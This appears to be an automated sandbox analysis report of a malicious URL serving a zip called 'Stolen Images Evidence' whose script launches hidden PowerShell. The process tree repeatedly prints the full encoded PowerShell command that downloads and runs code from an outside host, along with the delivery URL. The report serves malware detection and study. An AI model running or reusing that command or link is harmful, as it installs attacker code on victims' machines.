Play interactive tour

Edit tour

Windows Analysis Report https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#

Overview

General Information

Sample URL:	https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#
Analysis ID:	505091
Infos:
Most interesting Screenshot:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious encrypted Powershell command line found

Antivirus detection for URL or domain

Yara detected Powershell download and execute

Sigma detected: Suspicious Script Execution From Temp Folder

Writes to foreign memory regions

PowerShell case anomaly found

Wscript starts Powershell (via cmd or directly)

Sigma detected: Suspicious Encoded PowerShell Command Line

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Suspicious powershell command line found

Sigma detected: Suspicious PowerShell Invocations - Specific

Sigma detected: WScript or CScript Dropper

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution

Detected potential crypto function

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4724 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation 'https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#' MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 2876 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1940 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 7012 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=5896 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

unarchiver.exe (PID: 6684 cmdline: 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence.zip' MD5: DB55139D9DD29F24AE8EA8F0E5606901)

7za.exe (PID: 6068 cmdline: 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd' 'C:\Users\user\Downloads\Stolen Images Evidence.zip' MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6380 cmdline: 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

wscript.exe (PID: 6820 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' MD5: 7075DD7B9BE8807FCA93ACD86F724884)

cmd.exe (PID: 5400 cmdline: 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA= MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5648 cmdline: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

chrome.exe (PID: 6388 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=4628 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

unarchiver.exe (PID: 5892 cmdline: 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip' MD5: DB55139D9DD29F24AE8EA8F0E5606901)

7za.exe (PID: 3060 cmdline: 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip' MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 5596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 1412 cmdline: 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

wscript.exe (PID: 6888 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js' MD5: 7075DD7B9BE8807FCA93ACD86F724884)

cmd.exe (PID: 1324 cmdline: 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA= MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6268 cmdline: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

chrome.exe (PID: 6692 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=3644 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

unarchiver.exe (PID: 1456 cmdline: 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip' MD5: DB55139D9DD29F24AE8EA8F0E5606901)

7za.exe (PID: 6252 cmdline: 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip' MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 6972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3540 cmdline: 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

wscript.exe (PID: 4840 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js' MD5: 7075DD7B9BE8807FCA93ACD86F724884)

cmd.exe (PID: 6420 cmdline: 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA= MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6208 cmdline: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Documents\20211018\PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x123:$sa1: -enc 0x50a:$sa1: -enc 0x10e:$sb1: -w hidden 0x4f5:$sb1: -w hidden 0x109:$sc1: -nop 0x4f0:$sc1: -nop 0x118:$se1: -ep bypass 0x4ff:$se1: -ep bypass
C:\Users\user\Documents\20211018\PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\Documents\20211018\PowerShell_transcript.610930.OeKRHfkQ.20211018224629.txt	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x123:$sa1: -enc 0x50a:$sa1: -enc 0x10e:$sb1: -w hidden 0x4f5:$sb1: -w hidden 0x109:$sc1: -nop 0x4f0:$sc1: -nop 0x118:$se1: -ep bypass 0x4ff:$se1: -ep bypass
C:\Users\user\Documents\20211018\PowerShell_transcript.610930.OeKRHfkQ.20211018224629.txt	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\Documents\20211018\PowerShell_transcript.610930.D04HlV6H.20211018224618.txt	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x123:$sa1: -enc 0x50a:$sa1: -enc 0x10e:$sb1: -w hidden 0x4f5:$sb1: -w hidden 0x109:$sc1: -nop 0x4f0:$sc1: -nop 0x118:$se1: -ep bypass 0x4ff:$se1: -ep bypass
C:\Users\user\Documents\20211018\PowerShell_transcript.610930.D04HlV6H.20211018224618.txt	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000021.00000003.338953199.00000000058D7000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x2b06:$s1: poWERshEll 0x2dd4:$s1: poWERshEll
00000025.00000003.353205195.000000000356D000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x883c:$s1: poWERshEll
00000025.00000003.354211813.0000000003571000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x483c:$s1: poWERshEll
0000001B.00000003.319065824.0000000004C08000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1b06:$s1: poWERshEll 0x1dd4:$s1: poWERshEll
0000001E.00000002.430635881.00000000051CE000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1980:$s1: poWERshEll 0x26be:$s1: poWERshEll 0x321e:$s1: poWERshEll 0x3a68:$s1: poWERshEll 0x3d04:$s1: poWERshEll
00000021.00000003.338024968.00000000058C0000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x10936:$s1: poWERshEll 0x19b06:$s1: poWERshEll 0x19dd4:$s1: poWERshEll
0000001B.00000002.319478544.0000000000757000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x31fee:$s1: poWERshEll 0x3226a:$s1: poWERshEll 0x324a6:$s1: poWERshEll
0000001B.00000003.319072958.0000000004C08000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1b06:$s1: poWERshEll 0x1dd4:$s1: poWERshEll
00000025.00000003.353237072.000000000357E000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x18ef6:$s1: poWERshEll 0x19172:$s1: poWERshEll 0x193ae:$s1: poWERshEll
0000001B.00000003.318706299.0000000004BF0000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x10936:$s1: poWERshEll 0x19b06:$s1: poWERshEll 0x19dd4:$s1: poWERshEll
00000025.00000002.358972178.000000000584D000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1bd8:$s1: poWERshEll
00000025.00000003.353366922.000000000357E000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x18ef6:$s1: poWERshEll 0x19172:$s1: poWERshEll 0x193ae:$s1: poWERshEll
00000025.00000003.353773721.000000000584C000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x2bd8:$s1: poWERshEll
00000021.00000002.341556001.0000000003486000.00000004.00000020.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xe72:$s1: poWERshEll
0000001B.00000003.318663458.0000000004BC7000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x39936:$s1: poWERshEll 0x42b06:$s1: poWERshEll 0x42dd4:$s1: poWERshEll
00000021.00000003.338092097.00000000058C3000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xd936:$s1: poWERshEll 0x16b06:$s1: poWERshEll 0x16dd4:$s1: poWERshEll
0000001B.00000003.319099838.0000000000757000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x31fee:$s1: poWERshEll 0x3226a:$s1: poWERshEll 0x324a6:$s1: poWERshEll
0000001E.00000002.427400397.00000000047E0000.00000004.00000040.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x15e4:$s1: poWERshEll
0000001B.00000002.319442825.0000000000700000.00000004.00000020.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1654:$s1: poWERshEll
00000021.00000003.338261142.00000000033B3000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x179b6:$s1: poWERshEll 0x17c32:$s1: poWERshEll 0x17e6e:$s1: poWERshEll
00000027.00000002.450935318.0000000003550000.00000004.00000040.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x15e4:$s1: poWERshEll
00000025.00000003.354245634.000000000357E000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x18ef6:$s1: poWERshEll 0x19172:$s1: poWERshEll 0x193ae:$s1: poWERshEll
00000025.00000003.352460387.0000000005817000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x2840:$s1: poWERshEll 0x29936:$s1: poWERshEll 0x29d16:$s1: poWERshEll 0x29fe4:$s1: poWERshEll 0x37bd8:$s1: poWERshEll
0000001B.00000003.319055361.0000000004C07000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x2b06:$s1: poWERshEll 0x2dd4:$s1: poWERshEll
00000025.00000002.356582841.000000000357E000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x18ef6:$s1: poWERshEll 0x19172:$s1: poWERshEll 0x193ae:$s1: poWERshEll
00000025.00000003.352973681.0000000005833000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xd936:$s1: poWERshEll 0xdd16:$s1: poWERshEll 0xdfe4:$s1: poWERshEll 0x1bbd8:$s1: poWERshEll
0000001B.00000003.318789480.0000000000757000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x31fee:$s1: poWERshEll 0x3226a:$s1: poWERshEll 0x324a6:$s1: poWERshEll
00000025.00000002.355988614.0000000003456000.00000004.00000020.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xe72:$s1: poWERshEll
0000001B.00000002.319559838.00000000009C7000.00000004.00000040.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x5932:$s1: poWERshEll
00000025.00000003.353313097.0000000003570000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x583c:$s1: poWERshEll
0000001B.00000002.320355712.00000000051F0000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x722:$s1: poWERshEll
0000001B.00000003.318831605.0000000000757000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x31fee:$s1: poWERshEll 0x3226a:$s1: poWERshEll 0x324a6:$s1: poWERshEll
0000001E.00000002.425667445.0000000002D80000.00000004.00000020.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x3c3d:$sa1: -enc 0x3c28:$sb1: -w hidden 0x3c23:$sc1: -nop 0x3c32:$se1: -ep bypass
00000025.00000003.354484638.0000000003A0C000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x712:$s1: poWERshEll
00000027.00000002.450594067.0000000003140000.00000004.00000020.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x3c3d:$sa1: -enc 0x3c28:$sb1: -w hidden 0x3c23:$sc1: -nop 0x3c32:$se1: -ep bypass
00000021.00000003.338978656.00000000058D8000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1b06:$s1: poWERshEll 0x1dd4:$s1: poWERshEll
00000021.00000002.341707289.00000000038C7000.00000004.00000040.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x5932:$s1: poWERshEll
00000021.00000003.338368985.000000000339A000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x7fd4:$s1: poWERshEll
0000001B.00000003.318740020.0000000004BF3000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xd936:$s1: poWERshEll 0x16b06:$s1: poWERshEll 0x16dd4:$s1: poWERshEll
00000021.00000003.338992712.00000000058D8000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1b06:$s1: poWERshEll 0x1dd4:$s1: poWERshEll
00000025.00000003.353973625.000000000584D000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1bd8:$s1: poWERshEll
00000021.00000003.338616419.00000000058D0000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x936:$s1: poWERshEll 0x9b06:$s1: poWERshEll 0x9dd4:$s1: poWERshEll
00000021.00000002.341431601.00000000033B3000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x179b6:$s1: poWERshEll 0x17c32:$s1: poWERshEll 0x17e6e:$s1: poWERshEll
00000021.00000003.338407978.00000000033B3000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x179b6:$s1: poWERshEll 0x17c32:$s1: poWERshEll 0x17e6e:$s1: poWERshEll
00000021.00000003.339131237.00000000033B3000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x179b6:$s1: poWERshEll 0x17c32:$s1: poWERshEll 0x17e6e:$s1: poWERshEll
00000021.00000002.341360203.000000000339A000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x7fd4:$s1: poWERshEll
0000001B.00000003.318916447.0000000004C00000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x936:$s1: poWERshEll 0x9b06:$s1: poWERshEll 0x9dd4:$s1: poWERshEll
00000021.00000003.339069436.000000000339A000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x7fd4:$s1: poWERshEll
00000021.00000003.338230537.000000000339A000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x7fd4:$s1: poWERshEll
00000025.00000003.353699865.0000000005840000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x936:$s1: poWERshEll 0xd16:$s1: poWERshEll 0xfe4:$s1: poWERshEll 0xebd8:$s1: poWERshEll
00000025.00000002.356502284.000000000356D000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x883c:$s1: poWERshEll
00000021.00000003.337942528.0000000005897000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x39936:$s1: poWERshEll 0x42b06:$s1: poWERshEll 0x42dd4:$s1: poWERshEll
Process Memory Space: wscript.exe PID: 6820	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x1d2:$sa1: -enc 0x886b:$sa1: -enc 0x89c2:$sa1: -enc 0x13916:$sa1: -enc 0x543e8:$sa1: -enc 0x1bd:$sb1: -w hidden 0x8856:$sb1: -w hidden 0x89ad:$sb1: -w hidden 0x13901:$sb1: -w hidden 0x4bdda:$sb1: -w hidden 0x543d3:$sb1: -w hidden 0x1b8:$sc1: -nop 0x8851:$sc1: -nop 0x89a8:$sc1: -nop 0x138fc:$sc1: -nop 0x4bdd5:$sc1: -nop 0x543ce:$sc1: -nop 0x1c7:$se1: -ep bypass 0x8860:$se1: -ep bypass 0x89b7:$se1: -ep bypass 0x1390b:$se1: -ep bypass
Process Memory Space: powershell.exe PID: 5648	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x27385:$sa1: -enc 0x27688:$sa1: -enc 0x2796f:$sa1: -enc 0x29099:$sa1: -enc 0x293b4:$sa1: -enc 0x296e0:$sa1: -enc 0x2b82a:$sa1: -enc 0x2b941:$sa1: -enc 0x8444c:$sa1: -enc 0x846af:$sa1: -enc 0x12a931:$sa1: -enc 0x12aa48:$sa1: -enc 0x12b35c:$sa1: -enc 0x1a8f40:$sa2: -encodedCommand 0x1a8f6c:$sa2: -encodedCommand 0x1a9653:$sa2: -EncodedCommand 0x1aa16b:$sa2: -EncodedCommand 0x1aa206:$sa2: -encodedCommand 0x27370:$sb1: -w hidden 0x27673:$sb1: -w hidden 0x2795a:$sb1: -w hidden
Process Memory Space: wscript.exe PID: 6888	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x5a6a:$sa1: -enc 0x5bc1:$sa1: -enc 0x1dca7:$sa1: -enc 0x233ac:$sa1: -enc 0x4f391:$sa1: -enc 0x59e0a:$sa1: -enc 0x5ad7a:$sa1: -enc 0x5aeb2:$sa1: -enc 0x72c23:$sa1: -enc 0x5a55:$sb1: -w hidden 0x5bac:$sb1: -w hidden 0x1dc92:$sb1: -w hidden 0x23397:$sb1: -w hidden 0x4f37c:$sb1: -w hidden 0x59df5:$sb1: -w hidden 0x5ad65:$sb1: -w hidden 0x5ae9d:$sb1: -w hidden 0x6ef9c:$sb1: -w hidden 0x72c0e:$sb1: -w hidden 0x5a50:$sc1: -nop 0x5ba7:$sc1: -nop
Process Memory Space: wscript.exe PID: 4840	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x3c5e5:$sa1: -enc 0x4034d:$sa1: -enc 0x40495:$sa1: -enc 0x405ec:$sa1: -enc 0x4ff5c:$sa1: -enc 0x701c0:$sa1: -enc 0x1ad57:$sb1: -w hidden 0x3c5d0:$sb1: -w hidden 0x40338:$sb1: -w hidden 0x40480:$sb1: -w hidden 0x405d7:$sb1: -w hidden 0x4ff47:$sb1: -w hidden 0x67804:$sb1: -w hidden 0x701ab:$sb1: -w hidden 0x1ad52:$sc1: -nop 0x3c5cb:$sc1: -nop 0x40333:$sc1: -nop 0x4047b:$sc1: -nop 0x405d2:$sc1: -nop 0x4ff42:$sc1: -nop 0x677ff:$sc1: -nop
Process Memory Space: powershell.exe PID: 6268	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0xd15:$sa1: -enc 0x10fc:$sa1: -enc 0x1429:$sa1: -enc 0x164c:$sa1: -enc 0x1978:$sa1: -enc 0x4de17:$sa1: -enc 0x4e085:$sa1: -enc 0xafecb:$sa1: -enc 0xb2c5f:$sa1: -enc 0xb2d76:$sa1: -enc 0xe91b1:$sa2: -encodedCommand 0xe91dd:$sa2: -encodedCommand 0xe98c4:$sa2: -EncodedCommand 0xea3dc:$sa2: -EncodedCommand 0xea477:$sa2: -encodedCommand 0xd00:$sb1: -w hidden 0x10e7:$sb1: -w hidden 0x1414:$sb1: -w hidden 0x1637:$sb1: -w hidden 0x1963:$sb1: -w hidden 0x4de02:$sb1: -w hidden
Click to see the 52 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Script Execution From Temp Folder

Show sources

Source: Process started

